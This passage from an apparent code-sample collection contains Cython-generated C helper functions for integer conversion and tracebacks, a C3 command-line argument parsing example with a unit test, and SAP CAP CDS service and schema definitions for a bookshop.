__Pyx_PyInt_AsChar(PyObject* x) {\n    const char neg_one = (char)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(char) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(char)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to char\" :\n                    \"value too large to convert to char\");\n            }\n            return (char)-1;\n        }\n        return (char)val;\n    }\n    return (char)__Pyx_PyInt_AsLong(x);\n}\n\nstatic CYTHON_INLINE short __Pyx_PyInt_AsShort(PyObject* x) {\n    const short neg_one = (short)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(short) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(short)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to short\" :\n                    \"value too large to convert to short\");\n            }\n            return (short)-1;\n        }\n        return (short)val;\n    }\n    return (short)__Pyx_PyInt_AsLong(x);\n}\n\nstatic CYTHON_INLINE int __Pyx_PyInt_AsInt(PyObject* x) {\n    const int neg_one = (int)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(int) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(int)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to int\" :\n                    \"value too large to convert to int\");\n            }\n            return (int)-1;\n        }\n        return (int)val;\n    }\n    return (int)__Pyx_PyInt_AsLong(x);\n}\n\nstatic CYTHON_INLINE signed char __Pyx_PyInt_AsSignedChar(PyObject* x) {\n    const signed char neg_one = (signed char)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(signed char) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(signed char)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to signed char\" :\n                    \"value too large to convert to signed char\");\n            }\n            return (signed char)-1;\n        }\n        return (signed char)val;\n    }\n    return (signed char)__Pyx_PyInt_AsSignedLong(x);\n}\n\nstatic CYTHON_INLINE signed short __Pyx_PyInt_AsSignedShort(PyObject* x) {\n    const signed short neg_one = (signed short)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(signed short) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(signed short)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to signed short\" :\n                    \"value too large to convert to signed short\");\n            }\n            return (signed short)-1;\n        }\n        return (signed short)val;\n    }\n    return (signed short)__Pyx_PyInt_AsSignedLong(x);\n}\n\nstatic CYTHON_INLINE signed int __Pyx_PyInt_AsSignedInt(PyObject* x) {\n    const signed int neg_one = (signed int)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(signed int) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(signed int)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to signed int\" :\n                    \"value too large to convert to signed int\");\n            }\n            return (signed int)-1;\n        }\n        return (signed int)val;\n    }\n    return (signed int)__Pyx_PyInt_AsSignedLong(x);\n}\n\nstatic CYTHON_INLINE int __Pyx_PyInt_AsLongDouble(PyObject* x) {\n    const int neg_one = (int)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n    if (sizeof(int) < sizeof(long)) {\n        long val = __Pyx_PyInt_AsLong(x);\n        if (unlikely(val != (long)(int)val)) {\n            if (!unlikely(val == -1 && PyErr_Occurred())) {\n                PyErr_SetString(PyExc_OverflowError,\n                    (is_unsigned && unlikely(val < 0)) ?\n                    \"can't convert negative value to int\" :\n                    \"value too large to convert to int\");\n            }\n            return (int)-1;\n        }\n        return (int)val;\n    }\n    return (int)__Pyx_PyInt_AsLong(x);\n}\n\nstatic CYTHON_INLINE unsigned long __Pyx_PyInt_AsUnsignedLong(PyObject* x) {\n    const unsigned long neg_one = (unsigned long)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n#if PY_VERSION_HEX < 0x03000000\n    if (likely(PyInt_Check(x))) {\n        long val = PyInt_AS_LONG(x);\n        if (is_unsigned && unlikely(val < 0)) {\n            PyErr_SetString(PyExc_OverflowError,\n                            \"can't convert negative value to unsigned long\");\n            return (unsigned long)-1;\n        }\n        return (unsigned long)val;\n    } else\n#endif\n    if (likely(PyLong_Check(x))) {\n        if (is_unsigned) {\n            if (unlikely(Py_SIZE(x) < 0)) {\n                PyErr_SetString(PyExc_OverflowError,\n                                \"can't convert negative value to unsigned long\");\n                return (unsigned long)-1;\n            }\n            return PyLong_AsUnsignedLong(x);\n        } else {\n            return PyLong_AsLong(x);\n        }\n    } else {\n        unsigned long val;\n        PyObject *tmp = __Pyx_PyNumber_Int(x);\n        if (!tmp) return (unsigned long)-1;\n        val = __Pyx_PyInt_AsUnsignedLong(tmp);\n        Py_DECREF(tmp);\n        return val;\n    }\n}\n\nstatic CYTHON_INLINE unsigned PY_LONG_LONG __Pyx_PyInt_AsUnsignedLongLong(PyObject* x) {\n    const unsigned PY_LONG_LONG neg_one = (unsigned PY_LONG_LONG)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n#if PY_VERSION_HEX < 0x03000000\n    if (likely(PyInt_Check(x))) {\n        long val = PyInt_AS_LONG(x);\n        if (is_unsigned && unlikely(val < 0)) {\n            PyErr_SetString(PyExc_OverflowError,\n                            \"can't convert negative value to unsigned PY_LONG_LONG\");\n            return (unsigned PY_LONG_LONG)-1;\n        }\n        return (unsigned PY_LONG_LONG)val;\n    } else\n#endif\n    if (likely(PyLong_Check(x))) {\n        if (is_unsigned) {\n            if (unlikely(Py_SIZE(x) < 0)) {\n                PyErr_SetString(PyExc_OverflowError,\n                                \"can't convert negative value to unsigned PY_LONG_LONG\");\n                return (unsigned PY_LONG_LONG)-1;\n            }\n            return PyLong_AsUnsignedLongLong(x);\n        } else {\n            return PyLong_AsLongLong(x);\n        }\n    } else {\n        unsigned PY_LONG_LONG val;\n        PyObject *tmp = __Pyx_PyNumber_Int(x);\n        if (!tmp) return (unsigned PY_LONG_LONG)-1;\n        val = __Pyx_PyInt_AsUnsignedLongLong(tmp);\n        Py_DECREF(tmp);\n        return val;\n    }\n}\n\nstatic CYTHON_INLINE long __Pyx_PyInt_AsLong(PyObject* x) {\n    const long neg_one = (long)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n#if PY_VERSION_HEX < 0x03000000\n    if (likely(PyInt_Check(x))) {\n        long val = PyInt_AS_LONG(x);\n        if (is_unsigned && unlikely(val < 0)) {\n            PyErr_SetString(PyExc_OverflowError,\n                            \"can't convert negative value to long\");\n            return (long)-1;\n        }\n        return (long)val;\n    } else\n#endif\n    if (likely(PyLong_Check(x))) {\n        if (is_unsigned) {\n            if (unlikely(Py_SIZE(x) < 0)) {\n                PyErr_SetString(PyExc_OverflowError,\n                                \"can't convert negative value to long\");\n                return (long)-1;\n            }\n            return PyLong_AsUnsignedLong(x);\n        } else {\n            return PyLong_AsLong(x);\n        }\n    } else {\n        long val;\n        PyObject *tmp = __Pyx_PyNumber_Int(x);\n        if (!tmp) return (long)-1;\n        val = __Pyx_PyInt_AsLong(tmp);\n        Py_DECREF(tmp);\n        return val;\n    }\n}\n\nstatic CYTHON_INLINE PY_LONG_LONG __Pyx_PyInt_AsLongLong(PyObject* x) {\n    const PY_LONG_LONG neg_one = (PY_LONG_LONG)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n#if PY_VERSION_HEX < 0x03000000\n    if (likely(PyInt_Check(x))) {\n        long val = PyInt_AS_LONG(x);\n        if (is_unsigned && unlikely(val < 0)) {\n            PyErr_SetString(PyExc_OverflowError,\n                            \"can't convert negative value to PY_LONG_LONG\");\n            return (PY_LONG_LONG)-1;\n        }\n        return (PY_LONG_LONG)val;\n    } else\n#endif\n    if (likely(PyLong_Check(x))) {\n        if (is_unsigned) {\n            if (unlikely(Py_SIZE(x) < 0)) {\n                PyErr_SetString(PyExc_OverflowError,\n                                \"can't convert negative value to PY_LONG_LONG\");\n                return (PY_LONG_LONG)-1;\n            }\n            return PyLong_AsUnsignedLongLong(x);\n        } else {\n            return PyLong_AsLongLong(x);\n        }\n    } else {\n        PY_LONG_LONG val;\n        PyObject *tmp = __Pyx_PyNumber_Int(x);\n        if (!tmp) return (PY_LONG_LONG)-1;\n        val = __Pyx_PyInt_AsLongLong(tmp);\n        Py_DECREF(tmp);\n        return val;\n    }\n}\n\nstatic CYTHON_INLINE signed long __Pyx_PyInt_AsSignedLong(PyObject* x) {\n    const signed long neg_one = (signed long)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n#if PY_VERSION_HEX < 0x03000000\n    if (likely(PyInt_Check(x))) {\n        long val = PyInt_AS_LONG(x);\n        if (is_unsigned && unlikely(val < 0)) {\n            PyErr_SetString(PyExc_OverflowError,\n                            \"can't convert negative value to signed long\");\n            return (signed long)-1;\n        }\n        return (signed long)val;\n    } else\n#endif\n    if (likely(PyLong_Check(x))) {\n        if (is_unsigned) {\n            if (unlikely(Py_SIZE(x) < 0)) {\n                PyErr_SetString(PyExc_OverflowError,\n                                \"can't convert negative value to signed long\");\n                return (signed long)-1;\n            }\n            return PyLong_AsUnsignedLong(x);\n        } else {\n            return PyLong_AsLong(x);\n        }\n    } else {\n        signed long val;\n        PyObject *tmp = __Pyx_PyNumber_Int(x);\n        if (!tmp) return (signed long)-1;\n        val = __Pyx_PyInt_AsSignedLong(tmp);\n        Py_DECREF(tmp);\n        return val;\n    }\n}\n\nstatic CYTHON_INLINE signed PY_LONG_LONG __Pyx_PyInt_AsSignedLongLong(PyObject* x) {\n    const signed PY_LONG_LONG neg_one = (signed PY_LONG_LONG)-1, const_zero = 0;\n    const int is_unsigned = neg_one > const_zero;\n#if PY_VERSION_HEX < 0x03000000\n    if (likely(PyInt_Check(x))) {\n        long val = PyInt_AS_LONG(x);\n        if (is_unsigned && unlikely(val < 0)) {\n            PyErr_SetString(PyExc_OverflowError,\n                            \"can't convert negative value to signed PY_LONG_LONG\");\n            return (signed PY_LONG_LONG)-1;\n        }\n        return (signed PY_LONG_LONG)val;\n    } else\n#endif\n    if (likely(PyLong_Check(x))) {\n        if (is_unsigned) {\n            if (unlikely(Py_SIZE(x) < 0)) {\n                PyErr_SetString(PyExc_OverflowError,\n                                \"can't convert negative value to signed PY_LONG_LONG\");\n                return (signed PY_LONG_LONG)-1;\n            }\n            return PyLong_AsUnsignedLongLong(x);\n        } else {\n            return PyLong_AsLongLong(x);\n        }\n    } else {\n        signed PY_LONG_LONG val;\n        PyObject *tmp = __Pyx_PyNumber_Int(x);\n        if (!tmp) return (signed PY_LONG_LONG)-1;\n        val = __Pyx_PyInt_AsSignedLongLong(tmp);\n        Py_DECREF(tmp);\n        return val;\n    }\n}\n\nstatic void __Pyx_WriteUnraisable(const char *name) {\n    PyObject *old_exc, *old_val, *old_tb;\n    PyObject *ctx;\n    __Pyx_ErrFetch(&old_exc, &old_val, &old_tb);\n    #if PY_MAJOR_VERSION < 3\n    ctx = PyString_FromString(name);\n    #else\n    ctx = PyUnicode_FromString(name);\n    #endif\n    __Pyx_ErrRestore(old_exc, old_val, old_tb);\n    if (!ctx) {\n        PyErr_WriteUnraisable(Py_None);\n    } else {\n        PyErr_WriteUnraisable(ctx);\n        Py_DECREF(ctx);\n    }\n}\n\nstatic int __Pyx_ExportFunction(const char *name, void (*f)(void), const char *sig) {\n    PyObject *d = 0;\n    PyObject *cobj = 0;\n    union {\n        void (*fp)(void);\n        void *p;\n    } tmp;\n\n    d = PyObject_GetAttrString(__pyx_m, (char *)\"__pyx_capi__\");\n    if (!d) {\n        PyErr_Clear();\n        d = PyDict_New();\n        if (!d)\n            goto bad;\n        Py_INCREF(d);\n        if (PyModule_AddObject(__pyx_m, (char *)\"__pyx_capi__\", d) < 0)\n            goto bad;\n    }\n    tmp.fp = f;\n#if PY_VERSION_HEX >= 0x02070000 && !(PY_MAJOR_VERSION==3&&PY_MINOR_VERSION==0)\n    cobj = PyCapsule_New(tmp.p, sig, 0);\n#else\n    cobj = PyCObject_FromVoidPtrAndDesc(tmp.p, (void *)sig, 0);\n#endif\n    if (!cobj)\n        goto bad;\n    if (PyDict_SetItemString(d, name, cobj) < 0)\n        goto bad;\n    Py_DECREF(cobj);\n    Py_DECREF(d);\n    return 0;\nbad:\n    Py_XDECREF(cobj);\n    Py_XDECREF(d);\n    return -1;\n}\n\n#ifndef __PYX_HAVE_RT_ImportType\n#define __PYX_HAVE_RT_ImportType\nstatic PyTypeObject *__Pyx_ImportType(const char *module_name, const char *class_name,\n    long size, int strict)\n{\n    PyObject *py_module = 0;\n    PyObject *result = 0;\n    PyObject *py_name = 0;\n    char warning[200];\n\n    py_module = __Pyx_ImportModule(module_name);\n    if (!py_module)\n        goto bad;\n    #if PY_MAJOR_VERSION < 3\n    py_name = PyString_FromString(class_name);\n    #else\n    py_name = PyUnicode_FromString(class_name);\n    #endif\n    if (!py_name)\n        goto bad;\n    result = PyObject_GetAttr(py_module, py_name);\n    Py_DECREF(py_name);\n    py_name = 0;\n    Py_DECREF(py_module);\n    py_module = 0;\n    if (!result)\n        goto bad;\n    if (!PyType_Check(result)) {\n        PyErr_Format(PyExc_TypeError,\n            \"%s.%s is not a type object\",\n            module_name, class_name);\n        goto bad;\n    }\n    if (!strict && ((PyTypeObject *)result)->tp_basicsize > size) {\n        PyOS_snprintf(warning, sizeof(warning),\n            \"%s.%s size changed, may indicate binary incompatibility\",\n            module_name, class_name);\n        #if PY_VERSION_HEX < 0x02050000\n        PyErr_Warn(NULL, warning);\n        #else\n        PyErr_WarnEx(NULL, warning, 0);\n        #endif\n    }\n    else if (((PyTypeObject *)result)->tp_basicsize != size) {\n        PyErr_Format(PyExc_ValueError,\n            \"%s.%s has the wrong size, try recompiling\",\n            module_name, class_name);\n        goto bad;\n    }\n    return (PyTypeObject *)result;\nbad:\n    Py_XDECREF(py_module);\n    Py_XDECREF(result);\n    return 0;\n}\n#endif\n\n#ifndef __PYX_HAVE_RT_ImportModule\n#define __PYX_HAVE_RT_ImportModule\nstatic PyObject *__Pyx_ImportModule(const char *name) {\n    PyObject *py_name = 0;\n    PyObject *py_module = 0;\n\n    #if PY_MAJOR_VERSION < 3\n    py_name = PyString_FromString(name);\n    #else\n    py_name = PyUnicode_FromString(name);\n    #endif\n    if (!py_name)\n        goto bad;\n    py_module = PyImport_Import(py_name);\n    Py_DECREF(py_name);\n    return py_module;\nbad:\n    Py_XDECREF(py_name);\n    return 0;\n}\n#endif\n\n#include \"compile.h\"\n#include \"frameobject.h\"\n#include \"traceback.h\"\n\nstatic void __Pyx_AddTraceback(const char *funcname) {\n    PyObject *py_srcfile = 0;\n    PyObject *py_funcname = 0;\n    PyObject *py_globals = 0;\n    PyCodeObject *py_code = 0;\n    PyFrameObject *py_frame = 0;\n\n    #if PY_MAJOR_VERSION < 3\n    py_srcfile = PyString_FromString(__pyx_filename);\n    #else\n    py_srcfile = PyUnicode_FromString(__pyx_filename);\n    #endif\n    if (!py_srcfile) goto bad;\n    if (__pyx_clineno) {\n        #if PY_MAJOR_VERSION < 3\n        py_funcname = PyString_FromFormat( \"%s (%s:%d)\", funcname, __pyx_cfilenm, __pyx_clineno);\n        #else\n        py_funcname = PyUnicode_FromFormat( \"%s (%s:%d)\", funcname, __pyx_cfilenm, __pyx_clineno);\n        #endif\n    }\n    else {\n        #if PY_MAJOR_VERSION < 3\n        py_funcname = PyString_FromString(funcname);\n        #else\n        py_funcname = PyUnicode_FromString(funcname);\n        #endif\n    }\n    if (!py_funcname) goto bad;\n    py_globals = PyModule_GetDict(__pyx_m);\n    if (!py_globals) goto bad;\n    py_code = PyCode_New(\n        0,            /*int argcount,*/\n        #if PY_MAJOR_VERSION >= 3\n        0,            /*int kwonlyargcount,*/\n        #endif\n        0,            /*int nlocals,*/\n        0,            /*int stacksize,*/\n        0,            /*int flags,*/\n        __pyx_empty_bytes, /*PyObject *code,*/\n        __pyx_empty_tuple,  /*PyObject *consts,*/\n        __pyx_empty_tuple,  /*PyObject *names,*/\n        __pyx_empty_tuple,  /*PyObject *varnames,*/\n        __pyx_empty_tuple,  /*PyObject *freevars,*/\n        __pyx_empty_tuple,  /*PyObject *cellvars,*/\n        py_srcfile,   /*PyObject *filename,*/\n        py_funcname,  /*PyObject *name,*/\n        __pyx_lineno,   /*int firstlineno,*/\n        __pyx_empty_bytes  /*PyObject *lnotab*/\n    );\n    if (!py_code) goto bad;\n    py_frame = PyFrame_New(\n        PyThreadState_GET(), /*PyThreadState *tstate,*/\n        py_code,             /*PyCodeObject *code,*/\n        py_globals,          /*PyObject *globals,*/\n        0                    /*PyObject *locals*/\n    );\n    if (!py_frame) goto bad;\n    py_frame->f_lineno = __pyx_lineno;\n    PyTraceBack_Here(py_frame);\nbad:\n    Py_XDECREF(py_srcfile);\n    Py_XDECREF(py_funcname);\n    Py_XDECREF(py_code);\n    Py_XDECREF(py_frame);\n}\n\nstatic int __Pyx_InitStrings(__Pyx_StringTabEntry *t) {\n    while (t->p) {\n        #if PY_MAJOR_VERSION < 3\n        if (t->is_unicode) {\n            *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL);\n        } else if (t->intern) {\n            *t->p = PyString_InternFromString(t->s);\n        } else {\n            *t->p = PyString_FromStringAndSize(t->s, t->n - 1);\n        }\n        #else  /* Python 3+ has unicode identifiers */\n        if (t->is_unicode | t->is_str) {\n            if (t->intern) {\n                *t->p = PyUnicode_InternFromString(t->s);\n            } else if (t->encoding) {\n                *t->p = PyUnicode_Decode(t->s, t->n - 1, t->encoding, NULL);\n            } else {\n                *t->p = PyUnicode_FromStringAndSize(t->s, t->n - 1);\n            }\n        } else {\n            *t->p = PyBytes_FromStringAndSize(t->s, t->n - 1);\n        }\n        #endif\n        if (!*t->p)\n            return -1;\n        ++t;\n    }\n    return 0;\n}\n\n/* Type Conversion Functions */\n\nstatic CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) {\n   int is_true = x == Py_True;\n   if (is_true | (x == Py_False) | (x == Py_None)) return is_true;\n   else return PyObject_IsTrue(x);\n}\n\nstatic CYTHON_INLINE PyObject* __Pyx_PyNumber_Int(PyObject* x) {\n  PyNumberMethods *m;\n  const char *name = NULL;\n  PyObject *res = NULL;\n#if PY_VERSION_HEX < 0x03000000\n  if (PyInt_Check(x) || PyLong_Check(x))\n#else\n  if (PyLong_Check(x))\n#endif\n    return Py_INCREF(x), x;\n  m = Py_TYPE(x)->tp_as_number;\n#if PY_VERSION_HEX < 0x03000000\n  if (m && m->nb_int) {\n    name = \"int\";\n    res = PyNumber_Int(x);\n  }\n  else if (m && m->nb_long) {\n    name = \"long\";\n    res = PyNumber_Long(x);\n  }\n#else\n  if (m && m->nb_int) {\n    name = \"int\";\n    res = PyNumber_Long(x);\n  }\n#endif\n  if (res) {\n#if PY_VERSION_HEX < 0x03000000\n    if (!PyInt_Check(res) && !PyLong_Check(res)) {\n#else\n    if (!PyLong_Check(res)) {\n#endif\n      PyErr_Format(PyExc_TypeError,\n                   \"__%s__ returned non-%s (type %.200s)\",\n                   name, name, Py_TYPE(res)->tp_name);\n      Py_DECREF(res);\n      return NULL;\n    }\n  }\n  else if (!PyErr_Occurred()) {\n    PyErr_SetString(PyExc_TypeError,\n                    \"an integer is required\");\n  }\n  return res;\n}\n\nstatic CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) {\n  Py_ssize_t ival;\n  PyObject* x = PyNumber_Index(b);\n  if (!x) return -1;\n  ival = PyInt_AsSsize_t(x);\n  Py_DECREF(x);\n  return ival;\n}\n\nstatic CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) {\n#if PY_VERSION_HEX < 0x02050000\n   if (ival <= LONG_MAX)\n       return PyInt_FromLong((long)ival);\n   else {\n       unsigned char *bytes = (unsigned char *) &ival;\n       int one = 1; int little = (int)*(unsigned char*)&one;\n       return _PyLong_FromByteArray(bytes, sizeof(size_t), little, 0);\n   }\n#else\n   return PyInt_FromSize_t(ival);\n#endif\n}\n\nstatic CYTHON_INLINE size_t __Pyx_PyInt_AsSize_t(PyObject* x) {\n   unsigned PY_LONG_LONG val = __Pyx_PyInt_AsUnsignedLongLong(x);\n   if (unlikely(val == (unsigned PY_LONG_LONG)-1 && PyErr_Occurred())) {\n       return (size_t)-1;\n   } else if (unlikely(val != (unsigned PY_LONG_LONG)(size_t)val)) {\n       PyErr_SetString(PyExc_OverflowError,\n                       \"value too large to convert to size_t\");\n       return (size_t)-1;\n   }\n   return (size_t)val;\n}\n\n\n#endif /* Py_PYTHON_H */\n"
  },
  {
    "path": "samples/C3/example.c3",
    "content": "/*\n\nMIT License\n\nCopyright (c) 2025 Josh Ring\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n\nSource: https://github.com/joshring/argparse/blob/main/src/example.c3\n\n*/\n\nmodule main;\nimport std::io;\nimport args;\nimport args::testutil;\n\n\n\n// Call with arguments\n// --required  true -d \"description here\"\nfn void main(String[] args)\n{\n\tio::printfn(\n\t\t\"\\nArgs provided to the program\\n\"\n\t\t\"=============================\"\n\t);\n\tforeach(arg : args)\n\t{\n\t\tio::printn(arg);\n\t}\n\n\t\t\n\tOption[]? options_read = args::parse(\n\t\targs: args,\n\t\targ_sep: \" \",\n\t\t// arg_sep: \"=\",\n\t\toptions: {\n\t\t\t// A long and short name, with a required associated value\n\t\t\t{\n\t\t\t\t.valid_values={\"true\", \"false\"},\n\t\t\t\t.short_name=\"r\",\n\t\t\t\t.long_name=\"required\",\n\t\t\t\t.description=\"required arg\",\n\t\t\t\t.example_value=\"EXAMPLE\",\n\t\t\t\t.is_required=true,\n\t\t\t\t.is_value_required=true,\n\t\t\t},\n\t\t\t// An optional, long and short name, with a required associated value (when provided)\n\t\t\t{\n\t\t\t\t.valid_values={},\n\t\t\t\t.short_name=\"d\",\n\t\t\t\t.long_name=\"description\",\n\t\t\t\t.description=\"optional description\",\n\t\t\t\t.example_value=`\"description here\"`,\n\t\t\t\t.is_required=false,\n\t\t\t\t.is_value_required=true,\n\t\t\t},\n\t\t\t// A single value toggle without an associated value\n\t\t\t{\n\t\t\t\t.short_name=\"n\",\n\t\t\t\t.long_name=\"not_required\",\n\t\t\t\t.description=\"optional arg\",\n\t\t\t\t.example_value=\"\",\n\t\t\t\t.is_required=false,\n\t\t\t\t.is_value_required=false,\n\t\t\t},\n\t\t}\n\t);\n\tif(catch err = options_read)\n\t{\n\t\tio::printn(err);\n\t\treturn;\n\t}\n\t\n\tio::printfn(\n\t\t\"\\nOptions parsed by the program\\n\"\n\t\t\"=============================\"\n\t);\n\tforeach(option : options_read)\n\t{\n\t\tio::printn(option);\n\t\tio::printn();\n\t}\n}\n\n\nfn void test_parse() @test\n{\n\tString[] args = {\"./build/argparse\", \"--required\", \"true\", \"-n\", \"-v\", \"88\"};\n\n\tOption[]? options = args::parse(\n\t\targs: args,\n\t\targ_sep: \" \",\n\t\toptions: {\n\t\t\t// Value required and has valid values\n\t\t\t{\n\t\t\t\t.valid_values={\"true\", \"false\"},\n\t\t\t\t.short_name=\"r\",\n\t\t\t\t.long_name=\"required\",\n\t\t\t\t.description=\"required arg\",\n\t\t\t\t.example_value=\"EXAMPLE\",\n\t\t\t\t.is_required=true,\n\t\t\t\t.is_value_required=true,\n\t\t\t},\n\t\t\t// Flag without a value\n\t\t\t{\n\t\t\t\t.short_name=\"n\",\n\t\t\t\t.long_name=\"not_required\",\n\t\t\t\t.description=\"flag argument without a value\",\n\t\t\t\t.example_value=\"\",\n\t\t\t\t.is_required=false,\n\t\t\t\t.is_value_required=false,\n\t\t\t},\n\t\t\t// Optional value, value required and has no valid values\n\t\t\t{\n\t\t\t\t.valid_values={},\n\t\t\t\t.short_name=\"v\",\n\t\t\t\t.long_name=\"value\",\n\t\t\t\t.description=\"optional, requires value if defined\",\n\t\t\t\t.example_value=\"88\",\n\t\t\t\t.is_required=false,\n\t\t\t\t.is_value_required=true,\n\t\t\t},\n\t\t}\n\t);\n\tif(catch err = options)\n\t{\n\t\tio::printn(err);\n\t\treturn;\n\t}\n\t\n\tOption[] options_expected = {\n\t\t{ \n\t\t\t.is_found=true, \n\t\t\t.value_read=\"true\", \n\t\t\t\n\t\t\t.valid_values={\"true\", \"false\"}, \n\t\t\t.short_name=\"r\", \n\t\t\t.long_name=\"required\", \n\t\t\t.description=\"required arg\",\n\t\t\t.example_value=\"EXAMPLE\", \n\t\t\t.is_required=true, \n\t\t\t.is_value_required=true, \n\t\t}, \n\t\t{ \n\t\t\t.is_found=true, \n\t\t\t.value_read=\"true\", \n\t\t\t\n\t\t\t.valid_values={}, \n\t\t\t.short_name=\"n\", \n\t\t\t.long_name=\"not_required\", \n\t\t\t.description=\"flag argument without a value\",\n\t\t\t.example_value=\"\", \n\t\t\t.is_required=false, \n\t\t\t.is_value_required=false, \n\t\t},\n\t\t{ \n\t\t\t.is_found=true, \n\t\t\t.value_read=\"88\", \n\t\t\t\n\t\t\t.valid_values={}, \n\t\t\t.short_name=\"v\", \n\t\t\t.long_name=\"value\", \n\t\t\t.description=\"optional, requires value if defined\",\n\t\t\t.example_value=\"88\", \n\t\t\t.is_required=false, \n\t\t\t.is_value_required=true, \n\t\t}\n\t};\n\n\tassert(testutil::equal_value_io(options, options_expected)!! == true);\n}"
  },
  {
    "path": "samples/CAP CDS/admin-service.cds",
    "content": "using { sap.capire.bookshop as my } from '../db/schema';\nservice AdminService @(requires:'admin') {\n  entity Books as projection on my.Books;\n  entity Authors as projection on my.Authors;\n}\n"
  },
  {
    "path": "samples/CAP CDS/cat-service.cds",
    "content": "using { sap.capire.bookshop as my } from '../db/schema';\nservice CatalogService @(path:'/browse') {\n\n  /** For displaying lists of Books */\n  @readonly entity ListOfBooks as projection on Books\n  excluding { descr };\n\n  /** For display in details pages */\n  @readonly entity Books as projection on my.Books { *,\n    author.name as author\n  } excluding { createdBy, modifiedBy };\n\n  @requires: 'authenticated-user'\n  action submitOrder ( book: Books:ID, quantity: Integer ) returns { stock: Integer };\n  event OrderedBook : { book: Books:ID; quantity: Integer; buyer: String };\n}\n"
  },
  {
    "path": "samples/CAP CDS/common.cds",
    "content": "type Language : Association to sap.common.Languages;\ntype Currency : Association to sap.common.Currencies;\ntype Country : Association to sap.common.Countries;\n\n/**\n * Entities to serve the reuse types with extensible code lists\n * including built-in support for value lists in Fiori.\n */\ncontext sap.common {\n  entity Languages : CodeList {\n    key code : String(14) @(title : '{i18n>LanguageCode}');\n    //> length=14 is to accommodate values like these:\n    // en_US_x_saptrc - (1Q) used as a technical SAP language code\n    // en_US_x_sappsd - (2Q) used as a technical SAP language code\n  }\n\n  entity Countries : CodeList {\n    key code : String(3) @(title : '{i18n>CountryCode}');\n  }\n\n  entity Currencies : CodeList {\n    key code   : String(3) @(title : '{i18n>CurrencyCode}');\n        symbol : String(5) @(title : '{i18n>CurrencySymbol}');\n  }\n\n  aspect CodeList @(\n    cds.autoexpose,\n    cds.persistence.skip : 'if-unused'\n  ) {\n    name  : localized String(255)  @title : '{i18n>Name}';\n    descr : localized String(1000) @title : '{i18n>Description}';\n  }\n}\n\n\n/*\n * Aspect for entities with canonical universal IDs.\n */\naspect cuid {\n  key ID : UUID; //> automatically filled in\n}\n\n/*\n * Aspect to capture changes by user and name.\n */\naspect managed {\n  createdAt  : Timestamp @cds.on.insert : $now;\n  createdBy  : User      @cds.on.insert : $user;\n  modifiedAt : Timestamp @cds.on.insert : $now  @cds.on.update : $now;\n  modifiedBy : User      @cds.on.insert : $user @cds.on.update : $user;\n}\n\n/*\n * Aspects for entities with temporal data.\n */\naspect temporal {\n  validFrom : Timestamp @cds.valid.from;\n  validTo   : Timestamp @cds.valid.to;\n}\n\n\n/**\n * Canonical user ID\n */\ntype User : 